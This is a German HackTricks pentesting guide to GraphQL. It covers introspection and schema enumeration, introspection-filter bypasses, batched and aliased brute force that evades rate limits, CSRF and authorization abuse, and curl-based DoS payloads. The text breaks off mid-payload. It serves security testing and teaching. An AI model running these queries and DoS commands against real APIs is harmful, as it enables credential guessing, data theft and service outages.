GraphQL

Reading time: 31 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Einführung

GraphQL wird als effiziente Alternative zu REST API hervorgehoben und bietet einen vereinfachten Ansatz zum Abfragen von Daten vom Backend. Im Gegensatz zu REST, das oft zahlreiche Anfragen über verschiedene Endpunkte erfordert, um Daten zu sammeln, ermöglicht GraphQL das Abrufen aller benötigten Informationen über eine einzelne Anfrage. Diese Vereinfachung kommt Entwicklern zugute, indem sie die Komplexität ihrer Datenabrufprozesse verringert.

GraphQL und Sicherheit

Mit dem Aufkommen neuer Technologien, einschließlich GraphQL, entstehen auch neue Sicherheitsanfälligkeiten. Ein wichtiger Punkt ist, dass GraphQL standardmäßig keine Authentifizierungsmechanismen enthält. Es liegt in der Verantwortung der Entwickler, solche Sicherheitsmaßnahmen zu implementieren. Ohne angemessene Authentifizierung können GraphQL-Endpunkte sensible Informationen für nicht authentifizierte Benutzer offenlegen, was ein erhebliches Sicherheitsrisiko darstellt.

Verzeichnis-Brute-Force-Angriffe und GraphQL

Um exponierte GraphQL-Instanzen zu identifizieren, wird empfohlen, spezifische Pfade in Verzeichnis-Brute-Force-Angriffen einzuschließen. Diese Pfade sind:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung der unterstützten Abfragen. Dies ist entscheidend für das Verständnis der über den Endpunkt zugänglichen Daten. Das Introspektionssystem von GraphQL erleichtert dies, indem es die Abfragen detailliert, die ein Schema unterstützt. Für weitere Informationen dazu siehe die GraphQL-Dokumentation zur Introspektion: GraphQL: Eine Abfragesprache für APIs.

Fingerabdruck

Das Tool graphw00f kann erkennen, welcher GraphQL-Engine auf einem Server verwendet wird, und gibt dann einige hilfreiche Informationen für den Sicherheitsprüfer aus.

Universelle Abfragen

Um zu überprüfen, ob eine URL ein GraphQL-Dienst ist, kann eine universelle Abfrage, query{__typename}, gesendet werden. Wenn die Antwort {"data": {"__typename": "Query"}} enthält, bestätigt dies, dass die URL einen GraphQL-Endpunkt hostet. Diese Methode basiert auf dem __typename-Feld von GraphQL, das den Typ des abgefragten Objekts offenbart.

javascript
query{__typename}

Grundlegende Enumeration

Graphql unterstützt normalerweise GET, POST (x-www-form-urlencoded) und POST(json). Obwohl es aus Sicherheitsgründen empfohlen wird, nur json zuzulassen, um CSRF-Angriffe zu verhindern.

Introspektion

Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, abfragen Sie das __schema-Feld. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.

bash
query={__schema{types{name,fields{name}}}}

Mit dieser Abfrage finden Sie die Namen aller verwendeten Typen:

bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Mit dieser Abfrage können Sie alle Typen, deren Felder und deren Argumente (sowie den Typ der Argumente) extrahieren. Dies wird sehr nützlich sein, um zu wissen, wie man die Datenbank abfragt.

Fehler

Es ist interessant zu wissen, ob die Fehler angezeigt werden, da sie nützliche Informationen beitragen werden.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Datenbankschema über Introspektion auflisten

tip

Wenn die Introspektion aktiviert ist, aber die obige Abfrage nicht ausgeführt wird, versuchen Sie, die onOperation, onFragment und onField Direktiven aus der Abfrage-Struktur zu entfernen.

bash
#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Inline-Introspektionsanfrage:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Die letzte Codezeile ist eine GraphQL-Abfrage, die alle Metainformationen aus dem GraphQL (Objektnamen, Parameter, Typen...) ausgibt.

Wenn die Introspektion aktiviert ist, kannst du GraphQL Voyager verwenden, um in einer GUI alle Optionen anzuzeigen.

Abfragen

Jetzt, da wir wissen, welche Art von Informationen in der Datenbank gespeichert ist, lass uns versuchen, einige Werte zu extrahieren.

In der Introspektion kannst du sehen, welches Objekt du direkt abfragen kannst (weil du ein Objekt nicht nur abfragen kannst, weil es existiert). Im folgenden Bild siehst du, dass der "queryType" "Query" genannt wird und dass eines der Felder des "Query"-Objekts "flags" ist, das ebenfalls ein Objekttyp ist. Daher kannst du das Flag-Objekt abfragen.

Beachte, dass der Typ der Abfrage "flags" "Flags" ist, und dieses Objekt ist wie folgt definiert:

Du kannst sehen, dass die "Flags"-Objekte aus name und value bestehen. Dann kannst du alle Namen und Werte der Flags mit der Abfrage erhalten:

javascript
query={flags{name, value}}

Beachten Sie, dass Sie im Falle, dass das Objekt, das abgefragt werden soll, ein primitives Typ wie string ist, wie im folgenden Beispiel

einfach abfragen können mit:

javascript
query = { hiddenFlags }

In einem anderen Beispiel gab es 2 Objekte im "Query" Typ Objekt: "user" und "users".
Wenn diese Objekte keine Argumente benötigen, um zu suchen, könnte man alle Informationen von ihnen abrufen, indem man einfach nach den gewünschten Daten fragt. In diesem Beispiel aus dem Internet könnte man die gespeicherten Benutzernamen und Passwörter extrahieren:

Wenn man jedoch in diesem Beispiel versucht, dies zu tun, erhält man diesen Fehler:

Es scheint, als würde es irgendwie mit dem "uid" Argument vom Typ Int suchen.
Wie auch immer, das wussten wir bereits, im Abschnitt Basic Enumeration wurde eine Abfrage vorgeschlagen, die uns alle benötigten Informationen zeigte: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Wenn du das Bild liest, das ich bereitgestellt habe, wirst du sehen, dass "user" das arg "uid" vom Typ Int hatte.

Durch einige leichte uid Bruteforce fand ich heraus, dass bei uid=1 ein Benutzername und ein Passwort abgerufen wurden:
query={user(uid:1){user,password}}

Beachte, dass ich entdeckt habe, dass ich nach den Parametern "user" und "password" fragen konnte, denn wenn ich versuche, nach etwas zu suchen, das nicht existiert (query={user(uid:1){noExists}}), erhalte ich diesen Fehler:

Und während der Enumeration-Phase entdeckte ich, dass das Objekt "dbuser" die Felder "user" und "password" hatte.

Query-String-Dump-Trick (danke an @BinaryShadow_)

Wenn du nach einem String-Typ suchen kannst, wie: query={theusers(description: ""){username,password}} und du nach einem leeren String suchst, wird es alle Daten dumpen. (Beachte, dass dieses Beispiel nicht mit dem Beispiel der Tutorials zusammenhängt, für dieses Beispiel gehe davon aus, dass du mit "theusers" nach einem String-Feld namens "description" suchen kannst).

Suche

In diesem Setup enthält eine Datenbank Personen und Filme. Personen werden durch ihre E-Mail und Namen identifiziert; Filme durch ihren Namen und Bewertung. Personen können Freunde miteinander sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.

Du kannst Personen nach dem Namen suchen und ihre E-Mails erhalten:

javascript
{
searchPerson(name: "John Doe") {
email
}
}

Sie können Personen nach dem Namen suchen und ihre abonnierten Filme erhalten:

javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Beachten Sie, wie angegeben wird, um den name der subscribedMovies der Person abzurufen.

Sie können auch mehrere Objekte gleichzeitig suchen. In diesem Fall wird eine Suche nach 2 Filmen durchgeführt:

javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Oder sogar Beziehungen mehrerer verschiedener Objekte mithilfe von Aliassen:

javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutationen

Mutationen werden verwendet, um Änderungen auf der Serverseite vorzunehmen.

In der Introspektion finden Sie die deklarierten Mutationen. Im folgenden Bild wird der "MutationType" als "Mutation" bezeichnet, und das "Mutation"-Objekt enthält die Namen der Mutationen (wie "addPerson" in diesem Fall):

In diesem Setup enthält eine Datenbank Personen und Filme. Personen werden durch ihre E-Mail und Namen identifiziert; Filme durch ihren Namen und Bewertung. Personen können miteinander befreundet sein und auch Filme besitzen, was Beziehungen innerhalb der Datenbank anzeigt.

Eine Mutation zum Erstellen neuer Filme in der Datenbank könnte wie folgt aussehen (in diesem Beispiel wird die Mutation addMovie genannt):

javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Beachten Sie, wie sowohl die Werte als auch der Datentyp in der Abfrage angegeben sind.

Zusätzlich unterstützt die Datenbank eine Mutation-Operation, die addPerson genannt wird und die Erstellung von Personen zusammen mit ihren Verbindungen zu bestehenden Freunden und Filmen ermöglicht. Es ist wichtig zu beachten, dass die Freunde und Filme bereits in der Datenbank vorhanden sein müssen, bevor sie mit der neu erstellten Person verknüpft werden.

javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

Wie in einer der Schwachstellen, die in diesem Bericht beschrieben sind, bedeutet eine Directive Overloading, eine Direktive sogar Millionen von Malen aufzurufen, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, ihn DoS zu setzen.

Batching brute-force in 1 API request

Diese Informationen stammen von https://lab.wallarm.com/graphql-batching-attack/.
Authentifizierung über die GraphQL API mit gleichzeitigem Senden vieler Abfragen mit unterschiedlichen Anmeldeinformationen, um dies zu überprüfen. Es handelt sich um einen klassischen Brute-Force-Angriff, aber jetzt ist es möglich, mehr als ein Login/Passwort-Paar pro HTTP-Anfrage zu senden, dank der GraphQL-Batching-Funktion. Dieser Ansatz würde externe Rate-Überwachungsanwendungen täuschen, indem er denkt, dass alles in Ordnung ist und kein Brute-Forcing-Bot versucht, Passwörter zu erraten.

Unten finden Sie die einfachste Demonstration einer Anwendungsauthentifizierungsanfrage, mit 3 verschiedenen E-Mail/Passwort-Paaren gleichzeitig. Offensichtlich ist es möglich, Tausende in einer einzigen Anfrage auf die gleiche Weise zu senden:

Wie wir aus dem Screenshot der Antwort sehen können, gaben die erste und die dritte Anfrage null zurück und spiegelten die entsprechenden Informationen im error-Bereich wider. Die zweite Mutation hatte die korrekten Authentifizierungsdaten und die Antwort enthält das korrekte Authentifizierungssession-Token.

GraphQL Without Introspection

Immer mehr GraphQL-Endpunkte deaktivieren die Introspektion. Die Fehler, die GraphQL wirft, wenn eine unerwartete Anfrage empfangen wird, sind jedoch ausreichend für Tools wie clairvoyance, um den größten Teil des Schemas zu rekonstruieren.

Darüber hinaus beobachtet die Burp Suite-Erweiterung GraphQuail GraphQL API-Anfragen, die durch Burp gehen, und baut ein internes GraphQL Schema mit jeder neuen Abfrage, die sie sieht. Es kann auch das Schema für GraphiQL und Voyager offenlegen. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsanfrage erhält. Infolgedessen zeigt GraphQuail alle Abfragen, Argumente und Felder an, die innerhalb der API verfügbar sind. Für weitere Informationen überprüfen Sie dies.

Eine schöne Wortliste, um GraphQL-Entitäten zu entdecken, finden Sie hier.

Bypassing GraphQL introspection defences

Um Einschränkungen bei Introspektionsanfragen in APIs zu umgehen, erweist sich das Einfügen eines Sonderzeichens nach dem __schema-Schlüsselwort als effektiv. Diese Methode nutzt häufige Entwicklerübersichten in Regex-Mustern aus, die darauf abzielen, die Introspektion zu blockieren, indem sie sich auf das __schema-Schlüsselwort konzentrieren. Durch das Hinzufügen von Zeichen wie Leerzeichen, Zeilenumbrüchen und Kommas, die GraphQL ignoriert, aber möglicherweise nicht in Regex berücksichtigt werden, können Einschränkungen umgangen werden. Zum Beispiel kann eine Introspektionsanfrage mit einem Zeilenumbruch nach __schema solche Verteidigungen umgehen:

bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Wenn nicht erfolgreich, ziehen Sie alternative Anforderungsmethoden in Betracht, wie GET-Anfragen oder POST mit x-www-form-urlencoded, da Einschränkungen möglicherweise nur für POST-Anfragen gelten.

Versuchen Sie WebSockets

Wie in diesem Vortrag erwähnt, überprüfen Sie, ob es möglich sein könnte, sich über WebSockets mit graphQL zu verbinden, da dies Ihnen möglicherweise ermöglicht, eine potenzielle WAF zu umgehen und die Websocket-Kommunikation das Schema von graphQL preiszugeben:

javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Entdecken von Exponierten GraphQL-Strukturen

Wenn die Introspektion deaktiviert ist, ist das Durchsuchen des Quellcodes der Website nach vorab geladenen Abfragen in JavaScript-Bibliotheken eine nützliche Strategie. Diese Abfragen können im Sources-Tab der Entwicklertools gefunden werden, was Einblicke in das Schema der API bietet und potenziell exponierte sensible Abfragen offenbart. Die Befehle zum Suchen innerhalb der Entwicklertools sind:

javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

Wenn Sie nicht wissen, was CSRF ist, lesen Sie die folgende Seite:

CSRF (Cross Site Request Forgery)

Dort draußen werden Sie mehrere GraphQL-Endpunkte finden, die ohne CSRF-Token konfiguriert sind.

Beachten Sie, dass GraphQL-Anfragen normalerweise über POST-Anfragen mit dem Content-Type application/json gesendet werden.

javascript
{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Die meisten GraphQL-Endpunkte unterstützen jedoch auch form-urlencoded POST-Anfragen:

javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Daher ist es, da CSRF-Anfragen wie die vorherigen ohne Preflight-Anfragen gesendet werden, möglich, Änderungen in der GraphQL durch Ausnutzung eines CSRF durchzuführen.

Beachten Sie jedoch, dass der neue Standardwert des Cookies für das samesite-Flag von Chrome Lax ist. Das bedeutet, dass das Cookie nur von einer Drittanbieter-Website in GET-Anfragen gesendet wird.

Es ist zu beachten, dass es normalerweise möglich ist, die Abfrage anfrage auch als GET Anfrage zu senden und das CSRF-Token möglicherweise in einer GET-Anfrage nicht validiert wird.

Außerdem könnte es möglich sein, durch Ausnutzung eines XS-Search Angriffs Inhalte vom GraphQL-Endpunkt unter Ausnutzung der Anmeldeinformationen des Benutzers zu exfiltrieren.

Für weitere Informationen überprüfen Sie den ursprünglichen Beitrag hier.

Cross-Site WebSocket-Hijacking in GraphQL

Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein Cross-Site WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.

Für weitere Informationen überprüfen Sie:

WebSocket Attacks

Autorisierung in GraphQL

Viele GraphQL-Funktionen, die am Endpunkt definiert sind, überprüfen möglicherweise nur die Authentifizierung des Anforderers, jedoch nicht die Autorisierung.

Die Modifizierung von Abfrageeingabevariablen könnte zu sensiblen Kontodetails leaken.

Mutation könnte sogar zu einem Kontoübernahmeversuch führen, wenn versucht wird, andere Kontodaten zu ändern.

javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Umgehung der Autorisierung in GraphQL

Das Verketten von Abfragen kann ein schwaches Authentifizierungssystem umgehen.

Im folgenden Beispiel sehen Sie, dass die Operation "forgotPassword" ist und dass sie nur die zugehörige forgotPassword-Abfrage ausführen sollte. Dies kann umgangen werden, indem am Ende eine Abfrage hinzugefügt wird; in diesem Fall fügen wir "register" und eine Benutzer-Variable hinzu, damit das System sich als neuer Benutzer registriert.

Umgehung von Ratenlimits mit Aliassen in GraphQL

In GraphQL sind Aliasse eine leistungsstarke Funktion, die es ermöglicht, Eigenschaften explizit zu benennen, wenn eine API-Anfrage gestellt wird. Diese Fähigkeit ist besonders nützlich, um mehrere Instanzen desselben Typs von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.

Für ein detailliertes Verständnis von GraphQL-Aliassen wird die folgende Ressource empfohlen: Aliases.

Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit für zahlreiche API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt auszuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die Anzahl der HTTP-Anfragen einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen.

Betrachten Sie das folgende Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte Ratenbegrenzungen umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst und möglicherweise die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht.

bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading ist eine GraphQL-Sicherheitsanfälligkeit, bei der Angreifer eine Abfrage mit vielen Aliasen für dasselbe Feld überladen, was dazu führt, dass der Backend-Resolver dieses Feld wiederholt ausführt. Dies kann die Serverressourcen überlasten und zu einer Denial of Service (DoS) führen. Zum Beispiel wird im folgenden Query dasselbe Feld (expensiveField) 1.000 Mal mit Aliasen angefordert, was den Backend zwingt, es 1.000 Mal zu berechnen und möglicherweise CPU oder Speicher zu erschöpfen:

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Um dies zu mildern, implementieren Sie Alias-Zählgrenzen, eine Analyse der Abfragekomplexität oder eine Ratenbegrenzung, um den Missbrauch von Ressourcen zu verhindern.

Array-basierte Abfrage-Batching

Array-basierte Abfrage-Batching ist eine Schwachstelle, bei der eine GraphQL-API das Batching mehrerer Abfragen in einer einzigen Anfrage zulässt, wodurch ein Angreifer eine große Anzahl von Abfragen gleichzeitig senden kann. Dies kann das Backend überlasten, indem alle gebündelten Abfragen parallel ausgeführt werden, was übermäßige Ressourcen (CPU, Speicher, Datenbankverbindungen) verbraucht und potenziell zu einem Denial of Service (DoS) führen kann. Wenn es keine Begrenzung für die Anzahl der Abfragen in einem Batch gibt, kann ein Angreifer dies ausnutzen, um die Verfügbarkeit des Dienstes zu beeinträchtigen.

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

In diesem Beispiel werden 10 verschiedene Abfragen in einer Anfrage gebündelt, wodurch der Server gezwungen wird, alle gleichzeitig auszuführen. Wenn dies mit einer größeren Batch-Größe oder rechenintensiven Abfragen ausgenutzt wird, kann es den Server überlasten.

Directive Overloading Vulnerability

Directive Overloading tritt auf, wenn ein GraphQL-Server Abfragen mit übermäßigen, duplizierten Direktiven zulässt. Dies kann den Parser und den Executor des Servers überwältigen, insbesondere wenn der Server wiederholt dieselbe Direktivenlogik verarbeitet. Ohne angemessene Validierung oder Grenzen kann ein Angreifer dies ausnutzen, indem er eine Abfrage mit zahlreichen duplizierten Direktiven erstellt, um eine hohe Rechen- oder Speichernutzung auszulösen, was zu Denial of Service (DoS) führt.

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Beachten Sie, dass @aa im vorherigen Beispiel eine benutzerdefinierte Direktive ist, die möglicherweise nicht deklariert ist. Eine gängige Direktive, die normalerweise existiert, ist @include:

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Sie können auch eine Introspektionsabfrage senden, um alle deklarierten Direktiven zu entdecken:

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Und dann verwenden Sie einige der benutzerdefinierten.

Feldduplikationsanfälligkeit

Feldduplikation ist eine Anfälligkeit, bei der ein GraphQL-Server Abfragen mit demselben Feld, das übermäßig wiederholt wird, zulässt. Dies zwingt den Server, das Feld für jede Instanz redundant aufzulösen, was erhebliche Ressourcen (CPU, Speicher und Datenbankaufrufe) verbraucht. Ein Angreifer kann Abfragen mit Hunderten oder Tausenden von wiederholten Feldern erstellen, was zu hoher Last führt und potenziell zu einem Denial of Service (DoS) führen kann.

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 